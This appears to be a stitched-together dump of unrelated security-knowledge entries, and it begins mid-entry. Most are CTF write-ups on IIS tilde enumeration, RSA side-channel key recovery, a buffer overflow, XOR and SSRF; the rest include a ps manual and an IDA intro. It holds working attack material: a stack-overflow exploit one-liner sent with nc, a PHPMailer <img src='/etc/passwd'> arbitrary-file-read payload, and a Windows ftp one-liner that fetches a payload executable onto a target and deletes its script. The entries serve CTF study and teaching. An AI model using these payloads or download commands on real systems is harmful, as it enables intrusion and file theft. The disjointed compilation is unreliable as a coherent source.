Set-Cookie: s=cda86a9c0d56c79bc776acfac58938ef49a39924; path=/; domain=challenges.bsidestlv.com
```
According to the response codes, we can see that there's a file starting with `l`, but not one starting with `x`.
We can find more information [here](http://blog.digital-horror.com/exploiting-microsoft-iis-tilde-enumeration/), [here](https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability) and [here](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf), for example.
We solved the challenge by trying first "`*~1*`":
```console
root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl http://iis.challenges.bsidestlv.com/*~1*
No so fast..Try harder!
```
Then "`*~2*`":
```console
root@kali:/media/sf_CTFs/bsidestlv/IIS_on_Steroids# curl http://iis.challenges.bsidestlv.com/*~2*
BSidesTLV{Y0ulln3v3rf1ndm3!}
```
But let's put some effort into it with the following script:
```python
import requests
import string
def send_request(path):
return requests.get("http://iis.challenges.bsidestlv.com/{}".format(path))
def pattern_exists(pattern):
r = send_request(pattern)
if r.status_code == 400:
return False
elif r.status_code == 404:
return True
elif r.status_code == 200:
return True
else:
raise Exception("Unexpected response code: {}".format(r.status_code))
alpha = set(string.printable) - set("<>:\"/\\|?*\r\n\b#.")
candidates = [""]
found_files = []
while len(candidates) > 0:
base_candidate = candidates.pop()
for c in alpha:
candidate = base_candidate + c
if pattern_exists("{}*~{}*".format(candidate, 1)):
candidates.append(candidate)
else:
found_files.append(base_candidate)
print (candidates)
for file in found_files:
print ("{}:".format(file))
print (send_request(file).text)
print ("")
```
The script found the following files, the third one contained the flag:
```
l3v3lupah1dd3n
l3v3lupqh1dd3nd1r3ct0ry
l3v3luph1dd3nd1r3ct0ryandn0tm3
```
|
sec-knowleage
|
# RSA 侧信道攻击
能量分析攻击(侧信道攻击)是一种能够从密码设备中获取秘密信息的密码攻击方法.与其
他攻击方法不同:这种攻击利用的是密码设备的能量消耗特征,而非密码算法的数学特性.能量分析攻击是一种非入侵式攻击,攻击者可以方便地购买实施攻击所需要的设备:所以这种攻击对智能卡之类的密码设备的安全性造成了严重威胁。
能量分析攻击是安全领域内非常重要的一个部分,我们只在这里简单讨论下。
能量分析攻击分为:
- 简单能量分析攻击(SPA),即对能量迹进行直观分析,肉眼看即可。
- 差分能量分析攻击(DPA),基于能量迹之间的相关系数进行分析。
## 攻击条件
攻击者可获取与加解密相关的侧信道信息,例如能量消耗、运算时间、电磁辐射等等。
## 例子
这里我们以 HITB 2017 的 Hack in the card I 作为例子。
题目给出了公钥文件 `publickey.pem`,密文,测量智能卡功率的电路图,和**解密**过程中智能卡消耗的功率变化(通过在线网站给出 [trace](http://47.74.147.53:20015/index.html))。
密文:
```
014b05e1a09668c83e13fda8be28d148568a2342aed833e0ad646bd45461da2decf9d538c2d3ab245b272873beb112586bb7b17dc4b30f0c5408d8b03cfbc8388b2bd579fb419a1cac38798da1c3da75dc9a74a90d98c8f986fd8ab8b2dc539768beb339cadc13383c62b5223a50e050cb9c6b759072962c2b2cf21b4421ca73394d9e12cfbc958fc5f6b596da368923121e55a3c6a7b12fdca127ecc0e8470463f6e04f27cd4bb3de30555b6c701f524c8c032fa51d719901e7c75cc72764ac00976ac6427a1f483779f61cee455ed319ee9071abefae4473e7c637760b4b3131f25e5eb9950dd9d37666e129640c82a4b01b8bdc1a78b007f8ec71e7bad48046
```
### 分析
由于网站只给出了一条能量迹,所以可以断定这是 Simple channel analysis(SPA)攻击。那么我们可以直接通过观察能量迹的高低电平来获得 RSA 解密过程的密钥 d。
RSA 可被 SPA 攻击的理论基础来自于 RSA 中包含的快速幂取余算法。
快速幂算法如下
1. b 为偶数时,$a^b \bmod c = ({a^2}^{b/2}) \bmod c$。
2. b 为奇数时,$a^b \bmod c = ({a^2}^{b/2} \times a) \bmod c$。
相应的 C 代码实现为:
```c
int PowerMod(int a, int b, int c)
{
int ans = 1;
a = a % c;
while(b>0) {
if(b % 2 == 1) // 当b为奇数时会多执行下面的指令
ans = (ans * a) % c;
b = b/2;
a = (a * a) % c;
}
return ans;
}
```
由于快速幂的计算过程中会逐位判断指数的取值,并会采取不同的操作,所以可从能量迹中还原出 d 的取值(从上面可知,直接得到的值是 d 的二进制取值的**逆序**)。
**注意**:
> 有时候模乘也可能会从高位向低位进行模乘。这里是从低位向高位模乘。
由此可给出还原 d 的脚本如下:
```python
f = open('./data.txt')
data = f.read().split(",")
print('point number:', len(data))
start_point = 225 # 开始分析的点
mid = 50 # 采样点间隔
fence = 228 # 高低电平分界线
bin_array = []
for point_index in range(start_point, len(data), mid):
if float(data[point_index]) > fence:
bin_array.append(1)
else:
bin_array.append(0)
bin_array2 = []
flag1 = 0
flag2 = 0
for x in bin_array:
if x:
if flag1:
flag2 = 1
else:
flag1 = 1
else:
if flag2:
bin_array2.append(1)
else:
bin_array2.append(0)
flag1 = 0
flag2 = 0
# d_bin = bin_array2[::-1]
d_bin = bin_array2
d = "".join(str(x) for x in d_bin)[::-1]
print(d)
d_int = int(d,2)
print(d_int)
```
## 参考资料
1. Mangard, S., Oswald, E., Popp, T., 冯登国, 周永彬, & 刘继业. (2010). 能量分析攻击.
|
sec-knowleage
|
## My gift (Exploit, 200p, 59 solves)
[Binary](exp200.bin) contains simple echo-server with buffer overflow vulnerability at 0x400C42 (recv).
char buf[72]; // [sp+0h] [bp-68h]@1
// ...
while ( 1 )
{
// ... (some buffer zeroing)
readed = recv(sockfd, buf, 300uLL, 0);
if ( readed < 0 )
break;
puts(buf);
fflush(0LL);
if ( buf[0] != 's'
|| buf[1] != 't'
|| buf[2] != 'o' )
{
usleep(0x7D0u);
}
else
{
usleep(0x7D0u);
if ( buf[4] == 'p' )
return;
}
}
return;
It's trivial to see that recv allows to read 300 bytes using 72-byte buffer. We can also notice, that any string starting with "sto?p" will break the loop and cause return from function.
But it's not everything. At 400B90, we can found this nice routine:
void __noreturn sub_400B90()
{
FILE *fd; // rax@1
const char *buf; // [sp+0h] [bp-18h]@1
size_t n; // [sp+8h] [bp-10h]@1
buf = 0LL;
n = 0LL;
fd = fopen("gift", "r");
getline((char **)&buf, &n, fd);
puts(buf);
fflush(stdout);
free((void *)buf);
_exit(1);
}
So everything we need to do is to overwrite return address with 0x400B90 using recv.
$ python -c 'import struct; print "stoop" + 99*"x" + struct.pack("<Q", 0x400b90)' | tr -d '\n' | nc 10.13.37.22 1337
stoopxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx�
@
DCTF{53827349d071f72d5cbcc37d3a14ca39}
|
sec-knowleage
|
**windows 全平台自带ftp,在实战中需要考虑两点。**
* 数据传输的完整性。
* 代码得精简
本季作为第四十课的补充,一句话下载更为精简。更符合于实战。
**靶机:**
192.168.1.119
**demo下载文件为:**
bin_tcp_x86_53.exe

```bash
echo open 127.0.0.1 > o&echo user 123 123 >> o &echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o
```

缩短一句话下载:
```bash
echo open 127.0.0.1 > o&echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐A ‐n ‐s:o &del /F /Q o
```


> Micropoor
|
sec-knowleage
|
ps
===
报告当前系统的进程状态
## 补充说明
**ps命令** 用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的。
### 语法
```shell
ps(选项)
```
### 选项
```shell
-a:显示所有终端机下执行的程序,除了阶段作业领导者之外。
a:显示现行终端机下的所有程序,包括其他用户的程序。
-A:显示所有程序。
-c:显示CLS和PRI栏位。
c:列出程序时,显示每个程序真正的指令名称,而不包含路径,选项或常驻服务的标示。
-C<指令名称>:指定执行指令的名称,并列出该指令的程序的状况。
-d:显示所有程序,但不包括阶段作业领导者的程序。
-e:此选项的效果和指定"A"选项相同。
e:列出程序时,显示每个程序所使用的环境变量。
-f:显示UID,PPIP,C与STIME栏位。
f:用ASCII字符显示树状结构,表达程序间的相互关系。
-g<群组名称>:此选项的效果和指定"-G"选项相同,当亦能使用阶段作业领导者的名称来指定。
g:显示现行终端机下的所有程序,包括群组领导者的程序。
-G<群组识别码>:列出属于该群组的程序的状况,也可使用群组名称来指定。
h:不显示标题列。
-H:显示树状结构,表示程序间的相互关系。
-j或j:采用工作控制的格式显示程序状况。
-l或l:采用详细的格式来显示程序状况。
L:列出栏位的相关信息。
-m或m:显示所有的执行绪。
n:以数字来表示USER和WCHAN栏位。
-N:显示所有的程序,除了执行ps指令终端机下的程序之外。
-p<程序识别码>:指定程序识别码,并列出该程序的状况。
p<程序识别码>:此选项的效果和指定"-p"选项相同,只在列表格式方面稍有差异。
r:只列出现行终端机正在执行中的程序。
-s<阶段作业>:指定阶段作业的程序识别码,并列出隶属该阶段作业的程序的状况。
s:采用程序信号的格式显示程序状况。
S:列出程序时,包括已中断的子程序资料。
-t<终端机编号>:指定终端机编号,并列出属于该终端机的程序的状况。
t<终端机编号>:此选项的效果和指定"-t"选项相同,只在列表格式方面稍有差异。
-T:显示现行终端机下的所有程序。
-u<用户识别码>:此选项的效果和指定"-U"选项相同。
u:以用户为主的格式来显示程序状况。
-U<用户识别码>:列出属于该用户的程序的状况,也可使用用户名称来指定。
U<用户名称>:列出属于该用户的程序的状况。
v:采用虚拟内存的格式显示程序状况。
-V或V:显示版本信息。
-w或w:采用宽阔的格式来显示程序状况。
x:显示所有程序,不以终端机来区分。
X:采用旧式的Linux i386登陆格式显示程序状况。
-y:配合选项"-l"使用时,不显示F(flag)栏位,并以RSS栏位取代ADDR栏位 。
-<程序识别码>:此选项的效果和指定"p"选项相同。
--cols<每列字符数>:设置每列的最大字符数。
--columns<每列字符数>:此选项的效果和指定"--cols"选项相同。
--cumulative:此选项的效果和指定"S"选项相同。
--deselect:此选项的效果和指定"-N"选项相同。
--forest:此选项的效果和指定"f"选项相同。
--headers:重复显示标题列。
--help:在线帮助。
--info:显示排错信息。
--lines<显示列数>:设置显示画面的列数。
--no-headers:此选项的效果和指定"h"选项相同,只在列表格式方面稍有差异。
--group<群组名称>:此选项的效果和指定"-G"选项相同。
--Group<群组识别码>:此选项的效果和指定"-G"选项相同。
--pid<程序识别码>:此选项的效果和指定"-p"选项相同。
--rows<显示列数>:此选项的效果和指定"--lines"选项相同。
--sid<阶段作业>:此选项的效果和指定"-s"选项相同。
--tty<终端机编号>:此选项的效果和指定"-t"选项相同。
--user<用户名称>:此选项的效果和指定"-U"选项相同。
--User<用户识别码>:此选项的效果和指定"-U"选项相同。
--version:此选项的效果和指定"-V"选项相同。
--widty<每列字符数>:此选项的效果和指定"-cols"选项相同。
```
由于ps命令能够支持的系统类型相当的多,所以选项多的离谱!
### 实例
```shell
ps axo pid,comm,pcpu # 查看进程的PID、名称以及CPU 占用率
ps aux | sort -rnk 4 # 按内存资源的使用量对进程进行排序
ps aux | sort -nk 3 # 按 CPU 资源的使用量对进程进行排序
ps -A # 显示所有进程信息
ps -u root # 显示指定用户信息
ps -efL # 查看线程数
ps -e -o "%C : %p :%z : %a"|sort -k5 -nr # 查看进程并按内存使用大小排列
ps -ef # 显示所有进程信息,连同命令行
ps -ef | grep ssh # ps 与grep 常用组合用法,查找特定进程
ps -C nginx # 通过名字或命令搜索进程
ps aux --sort=-pcpu,+pmem # CPU或者内存进行排序,-降序,+升序
ps -f --forest -C nginx # 用树的风格显示进程的层次关系
ps -o pid,uname,comm -C nginx # 显示一个父进程的子进程
ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm # 重定义标签
ps -e -o pid,comm,etime # 显示进程运行的时间
ps -aux | grep named # 查看named进程详细信息
ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
```
将目前属于您自己这次登入的 PID 与相关信息列示出来
```shell
ps -l
# UID PID PPID F CPU PRI NI SZ RSS WCHAN S ADDR TTY TIME CMD
# 501 566 559 4006 0 31 0 4317620 228 - Ss 0 ttys001 0:00.05 /App...cOS/iTerm2 --server /usr/bin/login -fpl kenny /Ap...s/MacOS/iTerm2 --launch_shel
# 501 592 577 4006 0 31 0 4297048 52 - S 0 ttys001 0:00.63 -zsh
```
- F 代表这个程序的旗标 (flag), 4 代表使用者为 super user
- S 代表这个程序的状态 (STAT),关于各 STAT 的意义将在内文介绍
- UID 程序被该 UID 所拥有
- PID 就是这个程序的 ID !
- PPID 则是其上级父程序的ID
- C CPU 使用的资源百分比
- PRI 这个是 Priority (优先执行序) 的缩写,详细后面介绍
- NI 这个是 Nice 值,在下一小节我们会持续介绍
- ADDR 这个是 kernel function,指出该程序在内存的那个部分。如果是个 running的程序,一般就是 "-"
- SZ 使用掉的内存大小
- WCHAN 目前这个程序是否正在运作当中,若为 - 表示正在运作
- TTY 登入者的终端机位置
- TIME 使用掉的 CPU 时间。
- CMD 所下达的指令为何
> 在预设的情况下, `ps` 仅会列出与目前所在的 `bash shell` 有关的 `PID` 而已,所以, 当我使用 `ps -l` 的时候,只有三个 PID。
列出目前所有的正在内存当中的程序
```shell
ps aux
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
# kenny 6155 21.3 1.7 7969944 284912 ?? S 二03下午 199:14.14 /Appl...OS/WeChat
# kenny 559 20.4 0.8 4963740 138176 ?? S 二03下午 33:28.27 /Appl...S/iTerm2
# _windowserver 187 18.0 0.6 7005748 95884 ?? Ss 二03下午 288:44.97 /Syst...Light.WindowServer -daemon
# kenny 1408 10.7 2.1 5838592 347348 ?? S 二03下午 138:51.63 /Appl...nts/MacOS/Google Chrome
# kenny 327 5.8 0.5 5771984 79452 ?? S 二03下午 2:51.58 /Syst...pp/Contents/MacOS/Finder
```
- USER:该 process 属于那个使用者账号的
- PID :该 process 的号码
- %CPU:该 process 使用掉的 CPU 资源百分比
- %MEM:该 process 所占用的物理内存百分比
- VSZ :该 process 使用掉的虚拟内存量 (Kbytes)
- RSS :该 process 占用的固定的内存量 (Kbytes)
- TTY :该 process 是在那个终端机上面运作,若与终端机无关,则显示 ?,另外, tty1-tty6 是本机上面的登入者程序,若为 pts/0 等等的,则表示为由网络连接进主机的程序。
- STAT:该程序目前的状态,主要的状态有
- R :该程序目前正在运作,或者是可被运作
- S :该程序目前正在睡眠当中 (可说是 idle 状态),但可被某些讯号 (signal) 唤醒。
- T :该程序目前正在侦测或者是停止了
- Z :该程序应该已经终止,但是其父程序却无法正常的终止他,造成 zombie (疆尸) 程序的状态
- START:该 process 被触发启动的时间
- TIME :该 process 实际使用 CPU 运作的时间
- COMMAND:该程序的实际指令
列出类似程序树的程序显示
```shell
ps -axjf
# USER PID PPID PGID SESS JOBC STAT TT TIME COMMAND UID C STIME TTY
# root 1 0 1 0 0 Ss ?? 10:51.90 /sbin/launchd 0 0 二03下午 ??
# root 50 1 50 0 0 Ss ?? 0:10.07 /usr/sbin/syslog 0 0 二03下午 ??
# root 51 1 51 0 0 Ss ?? 0:29.90 /usr/libexec/Use 0 0 二03下午 ??
```
找出与 cron 与 syslog 这两个服务有关的 PID 号码
```shell
ps aux | egrep '(cron|syslog)'
# root 50 0.0 0.0 4305532 1284 ?? Ss 二03下午 0:10.08 /usr/sbin/syslogd
# kenny 90167 0.0 0.0 4258468 184 s007 R+ 9:23下午 0:00.00 egrep (cron|syslog)
```
把所有进程显示出来,并输出到ps001.txt文件
```shell
ps -aux > ps001.txt
```
输出指定的字段
|
sec-knowleage
|
# PHPMailer 任意文件读取漏洞(CVE-2017-5223)
## 漏洞原理
PHPMailer在发送邮件的过程中,会在邮件内容中寻找图片标签(`<img src="...">`),并将其src属性的值提取出来作为附件。所以,如果我们能控制部分邮件内容,可以利用`<img src="/etc/passwd">`将文件`/etc/passwd`作为附件读取出来,造成任意文件读取漏洞。
- http://www.freebuf.com/vuls/124820.html
- https://www.exploit-db.com/exploits/43056/
## 漏洞环境
在当前目录下创建文件`.env`,内容如下(将其中的配置值修改成你的smtp服务器、账户、密码):
```
SMTP_SERVER=smtp.example.com
SMTP_PORT=587
SMTP_EMAIL=your_email@example.com
SMTP_PASSWORD=secret
SMTP_SECURE=tls
```
其中,`SMTP_SECURE`是SMTP加密方式,可以填写none、ssl或tls。
然后编译、运行测试环境:
```
docker compose build
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/`,即可看到一个“意见反馈”页面。
## 漏洞复现
“意见反馈”页面,正常用户填写昵称、邮箱、意见提交,这些信息将被后端储存,同时后端会发送一封邮件提示用户意见填写完成:

> 该场景在实战中很常见,比如用户注册网站成功后,通常会收到一封包含自己昵称的通知邮件,那么,我们在昵称中插入恶意代码`<img src="/etc/passwd">`,目标服务器上的文件将以附件的形式被读取出来。
同样,我们填写恶意代码在“意见”的位置:

收到邮件,其中包含附件`/etc/passwd`和`/etc/hosts`:

下载读取即可。
|
sec-knowleage
|
## Offensive 300 (Offensive, 300p)
###ENG
[PL](#pl-version)
I did it
###PL version
Zrobiłem to zadanie
|
sec-knowleage
|
# XtraORdinary
Crypto, 150 points
## Description
> Check out my new, never-before-seen method of encryption! I totally invented it myself. I added so many for loops that I don't even know what it does. It's extraordinarily secure!
Two files were attached:
`encrypt.py`:
```python
#!/usr/bin/env python3
from random import randint
with open('flag.txt', 'rb') as f:
flag = f.read()
with open('secret-key.txt', 'rb') as f:
key = f.read()
def encrypt(ptxt, key):
ctxt = b''
for i in range(len(ptxt)):
a = ptxt[i]
b = key[i % len(key)]
ctxt += bytes([a ^ b])
return ctxt
ctxt = encrypt(flag, key)
random_strs = [
b'my encryption method',
b'is absolutely impenetrable',
b'and you will never',
b'ever',
b'ever',
b'ever',
b'ever',
b'ever',
b'ever',
b'break it'
]
for random_str in random_strs:
for i in range(randint(0, pow(2, 8))):
for j in range(randint(0, pow(2, 6))):
for k in range(randint(0, pow(2, 4))):
for l in range(randint(0, pow(2, 2))):
for m in range(randint(0, pow(2, 0))):
ctxt = encrypt(ctxt, random_str)
with open('output.txt', 'w') as f:
f.write(ctxt.hex())
```
`output.txt`:
```
57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637
```
## Solution
From what we see here, the program opens a flag file and a secret key, XORs them, and them XORs the result with a few predefined strings for a random amount of times.
The key point here is that `x ^ x = 0`, so that each time the result is XORed with the same string twice, it's as if it wasn't XORed with the string in the first place.
This means that for each of the random strings, we can say that:
* If `ctxt` was XORed with a given string for an odd amount of times, we can treat it as if `ctxt` was XORed with the string just once
* If `ctxt` was XORed with a given string for an even amount of times, we can treat it as if `ctxt` wasn't XORed with the string at all
The rules above can also be applied to the string `ever` which repeats itself multiple times, but we can reduce it to just one appearance.
Based on this, we can try to take `output.txt` and XOR it with every possible combination of the random strings:
* None of them (i.e. each of the random strings was used an even amount of times)
* Just the first string
* Just the first and the second string
* ...
* All of the strings (i.e. each of the strings was used an odd amount of times)
For each such combination, we take the result and XOR it with `output`, then XOR it again with the flag prefix and check to see if we get something familiar. If we do, we can assume that we found the original key used for encryption.
The following script does this:
```python
import itertools
with open("output.txt") as f:
flag = bytes.fromhex(f.read())
def encrypt(ptxt, key):
ctxt = b''
for i in range(len(ptxt)):
a = ptxt[i]
b = key[i % len(key)]
ctxt += bytes([a ^ b])
return ctxt
random_strs = [
b'my encryption method',
b'is absolutely impenetrable',
b'and you will never',
b'ever',
b'break it'
]
prefix = b"picoCTF{"
def apply_encryption(ctxt, truth_table):
for i, to_xor in enumerate(truth_table):
if to_xor:
ctxt = encrypt(ctxt, random_strs[i])
return ctxt
for p in itertools.product([True, False], repeat=len(random_strs)):
ctxt = apply_encryption(flag, p)
print(f"{p}: \t{encrypt(ctxt[:len(prefix)], prefix)}")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/XtraORdinary]
└─$ python3 solve.py
(True, True, True, True, True): b'Elrmoq<T'
(True, True, True, True, False): b"'\x1e\x17\x0c\x04QU "
(True, True, True, False, True): b' \x1a\x17\x1f\n\x07Y&'
(True, True, True, False, False): b"Bhr~a'0R"
(True, True, False, True, True): b'$\x02\x16M\x16\x1eIt'
(True, True, False, True, False): b'Fps,}> \x00'
(True, True, False, False, True): b'Ats?sh,\x06'
(True, True, False, False, False): b'#\x06\x16^\x18HEr'
(True, False, True, True, True): b',\x1fR\x0c\r\x02S8'
(True, False, True, True, False): b'Nm7mf":L'
(True, False, True, False, True): b'Ii7~ht6J'
(True, False, True, False, False): b'+\x1bR\x1f\x03T_>'
(True, False, False, True, True): b'Mq6,tm&\x18'
(True, False, False, True, False): b'/\x03SM\x1fMOl'
(True, False, False, False, True): b'(\x07S^\x11\x1bCj'
(True, False, False, False, False): b'Ju6?z;*\x1e'
(False, True, True, True, True): b'(\x15R\x08\x01\x12N-'
(False, True, True, True, False): b"Jg7ij2'Y"
(False, True, True, False, True): b'Mc7zdd+_'
(False, True, True, False, False): b'/\x11R\x1b\x0fDB+'
(False, True, False, True, True): b'I{6(x};\r'
(False, True, False, True, False): b'+\tSI\x13]Ry'
(False, True, False, False, True): b',\rSZ\x1d\x0b^\x7f'
(False, True, False, False, False): b'N\x7f6;v+7\x0b'
(False, False, True, True, True): b'Africa!A'
(False, False, True, True, False): b'#\x14\x17\x08\x08AH5'
(False, False, True, False, True): b'$\x10\x17\x1b\x06\x17D3'
(False, False, True, False, False): b'Fbrzm7-G'
(False, False, False, True, True): b' \x08\x16I\x1a\x0eTa'
(False, False, False, True, False): b'Bzs(q.=\x15'
(False, False, False, False, True): b'E~s;\x7fx1\x13'
(False, False, False, False, False): b"'\x0c\x16Z\x14XXg"
```
We can see that the following line contains a dictionary word:
```
(False, False, True, True, True): b'Africa!A'
```
So let's use it to decrypt the ciphertext:
```python
ctxt = apply_encryption(flag, (False, False, True, True, True))
print(encrypt(ctxt, b"Africa!"))
```
And we get the flag: `picoCTF{w41t_s0_1_d1dnt_1nv3nt_x0r???}`
|
sec-knowleage
|
## FlagHunter 75 (re, 75p, 53 solves)
### PL
[ENG](#eng-version)
Wchodzimy pod podany w zadnaniu link i widzimy:

Możemy kliknąć na kraj na mapie w wyniku czemu uzyskujemy jedną z dwóch odpowiedzi.
Jeśli klinęliśmy w kraj w którym jesteśmy (z którego mamy IP):

Jeśli klinięmy w inny kraj:

Postanawiamy więc spróbować zebrać wszystkie możliwe kody, bo domyślamy się, że są potrzebne do uzyskania flagi. Robimy to za pomocą prostego skryptu:
```python
from Queue import Queue
import codecs
import os
import threading
import urllib
import urllib2
import re
import subprocess
results = {}
url = "http://flaghunt.asis-ctf.ir/a.php"
def test_proxy(proxy):
try:
proxy = proxy.strip()
proxy_host = proxy[:proxy.find(":")]
ping_response = os.system("ping -n 1 " + proxy_host + " > NUL")
if ping_response == 0:
whois = subprocess.check_output("whois " + proxy_host, stderr=subprocess.STDOUT)
pattern = re.compile("country:\s*(.*)\n")
country_code = pattern.findall(whois.lower())[0].upper()
if country_code not in results:
params = {'code': country_code}
encoded_params = urllib.urlencode(params)
urllib2.install_opener(
urllib2.build_opener(
urllib2.ProxyHandler({'http': proxy})
)
)
f = urllib2.urlopen(url, encoded_params)
response = f.read()
if "long distance calls" not in response:
results[country_code] = response
print(proxy + " " + country_code + " " + response)
except:
pass
# probably some problem with whois response
def worker():
while True:
proxy = q.get()
test_proxy(proxy)
q.task_done()
if q.unfinished_tasks % 100 == 0:
print("left to process " + str(q.unfinished_tasks))
with codecs.open("proxy.txt") as file:
q = Queue()
for i in range(30):
thread = threading.Thread(target=worker)
thread.daemon = True
thread.start()
for proxy in file.readlines():
q.put(proxy)
q.join()
print(results)
```
- kod uruchamia się w 30 wątkach
- każdy pobiera z listy serwerów proxy (skomponowanej z google w kilka minut) jeden adres
- pinguje go żeby upewnić się, że działa
- pobiera z whois informacje o kraju dla tego proxy
- jeśli nie mamy jeszcze na liście kodu dla tego kraju to wysyłamy zapytanie symulujące klikniecie w ten kraj na mapie, poprzez wybrane proxy
- odebrany kod zapisujemy
Okazuje się, że unikalnych kodów jest tylko kilka. Wszystkie unikalne kody to:
`f55101, 353c45, fc, c99801, bf853b, 926c51`
Jak nie trudno zauważyć mamy tutaj dokładnie 32 znaki z zakresu [0-9a-f], czyli rozłożony na kawałki hash md5. To sugerowałoby, że można z nich skleić flagę. Ale nie mieliśmy pomysłu na to, w jakiej kolejności to zrobić. Jeden z naszych kolegów postanowił zdać sie na intuicje i po prostu wysłał losowo sklejoną flagę. Niemniej późniejsza analiza wykazała, że tylko jedna ze 120 możliwości była poprawna (możliwa do wyliczenia poprzez analizę kodu JS który na stronie walidował flagę). Nasz kolega powinien kupić los na loterii.
`ASIS{926c51bf853b353c45f55101c99801fc}`
### ENG version
We go to the designated webpage to find:

We can click on a country on the map and we can get one of two answers:
If we clicked on a country where we are (where out IP is from):

If we click any other country:

So we start off by trying to collect all the codes, since we suspect that we will need those for the flag. We do this with a simple script:
```python
from Queue import Queue
import codecs
import os
import threading
import urllib
import urllib2
import re
import subprocess
results = {}
url = "http://flaghunt.asis-ctf.ir/a.php"
def test_proxy(proxy):
try:
proxy = proxy.strip()
proxy_host = proxy[:proxy.find(":")]
ping_response = os.system("ping -n 1 " + proxy_host + " > NUL")
if ping_response == 0:
whois = subprocess.check_output("whois " + proxy_host, stderr=subprocess.STDOUT)
pattern = re.compile("country:\s*(.*)\n")
country_code = pattern.findall(whois.lower())[0].upper()
if country_code not in results:
params = {'code': country_code}
encoded_params = urllib.urlencode(params)
urllib2.install_opener(
urllib2.build_opener(
urllib2.ProxyHandler({'http': proxy})
)
)
f = urllib2.urlopen(url, encoded_params)
response = f.read()
if "long distance calls" not in response:
results[country_code] = response
print(proxy + " " + country_code + " " + response)
except:
pass
# probably some problem with whois response
def worker():
while True:
proxy = q.get()
test_proxy(proxy)
q.task_done()
if q.unfinished_tasks % 100 == 0:
print("left to process " + str(q.unfinished_tasks))
with codecs.open("proxy.txt") as file:
q = Queue()
for i in range(30):
thread = threading.Thread(target=worker)
thread.daemon = True
thread.start()
for proxy in file.readlines():
q.put(proxy)
q.join()
print(results)
```
- the code is running in 30 threads
- each one takes an address from proxy servers list (compiled from google in a couple of minutes)
- pings the proxy to make sure it's online
- collects country code from whois info for the proxy
- if we don't have the code for the country we send a request simulating clicking on this country on the map, through the selected proxy
- we save the response code
It turns out that there are only a few unique codes. All of them are:
`f55101, 353c45, fc, c99801, bf853b, 926c51`
As can be easily noticed we have exactly 32 characters from [0-9a-f] range, so a split md5 hash value. This suggest that maybe we could assemble a flag from this. But we had no idea what should be the order. One of our friends, lead by intuition, simply tried to send a random permutation as a flag. Interestingly we later realised that in fact only one of potential 120 flags was correct (the right one could be found by analysing JS code on flag validation site). Our friend should start playing some lottery.
`ASIS{926c51bf853b353c45f55101c99801fc}`
|
sec-knowleage
|
## Main Idea
IDA is an interactive disassembler, which means that the user takes active participation in the disassembly process. IDA is not an automatic analyzer of programs. IDA will give you hints about suspicious instructions, unsolved problem etc. It is your job to inform IDA how to proceed.
If you are using IDA for the very first time, here are some commands that you will find very useful:
- convert to instruction : the hotkey is "C"
- convert to data : the hotkey is "D"
All the changes that you made are saved to disk. When you run IDA again, all the information on the file being diassembled is read from the disk, so that you can rescue your work.
```
CODE:00401000 6A 00 push 0
CODE:00401002 E8 64 02 00 00 call GetModuleHandleA ; Call Procedure
```
Press Key `D`, and you will see:
```
CODE:00401000 6A 00 push 0
CODE:00401000 ; ---------------------------------------------------------------------------
CODE:00401002 E8 db 0E8h
CODE:00401003 64 db 64h ; d
CODE:00401004 02 db 2
CODE:00401005 00 db 0
CODE:00401006 00 db 0
CODE:00401007 ; ---------------------------------------------------------------------------
```
|
sec-knowleage
|
# Bleeding cloud
Category: Web
## Description
> Part 5 of Imperva's challenge
>
> Today, many web application are hosted on cloud providers, what can you do?
>
## Solution
The [previous challenge](Other_bugs.md)'s flag has left us with a hint: `aws_likes_ssrf_image`.
The bug bounty management system offers the ability to change the user's avatar by clicking the "click me" link on the top right corner:

The relevant code is:
```html
<!-- ... -->
<img id="imgAvatar" src='' width="200" height="250" alt="Click me"/>
<!-- ... -->
<div id="myModalAvatar" class="modal">
<!-- Modal content -->
<div class="modal-content">
<div class="modal-header">
<h2>Replace avatar</h2>
<span class="close">×</span>
</div>
<div class="modal-body">
<form id="frmBugReport">
<div class="form-group row">
<label for="txtUrl" class="col-sm-2 col-form-label">Avatar URL</label>
<div class="col-sm-8">
<input type="text" class="form-control" id="txtUrl" name="txtUrl">
</div>
</div>
<button class="btn btn-dark" name="btnAvatarUpload">Upload</button><br />
<span class="help-block" id="bugMessage"></span>
</form>
</div>
<div class="modal-footer justify-content-center">
<h3 class="text-center"></h3>
</div>
</div>
</div>
<!-- ... -->
```
And:
```javascript
// ...
var avatarModal = document.getElementById("myModalAvatar");
var avatar = document.getElementById("imgAvatar");
avatar.onclick = function () {
avatarModal.style.display = "block";
}
// ...
var json = toJSONString(this);
// console.log(json);
// console.log(JSON.stringify(json));
fetch('/avatarUpload.php', {
method: 'POST',
body: JSON.stringify(json),
}).then(function(response) {
if (response.ok) {
return response.text();
}
return Promise.reject(response);
}).then(function(data) {
avatar.src = json["txtUrl"];
$('#bugMessage').text(data["message"]);
$("#frmBugReport").trigger("reset");
// console.log(data);
}).catch(function(error) {
$('#bugMessage').text(error);
// console.warn(error);
});
```
So the avatar API accepts a URL, not a file. Now, if we provide a URL to a real image, everything works as expected and the avatar changes to the one we've selected. But what if we provide something else?
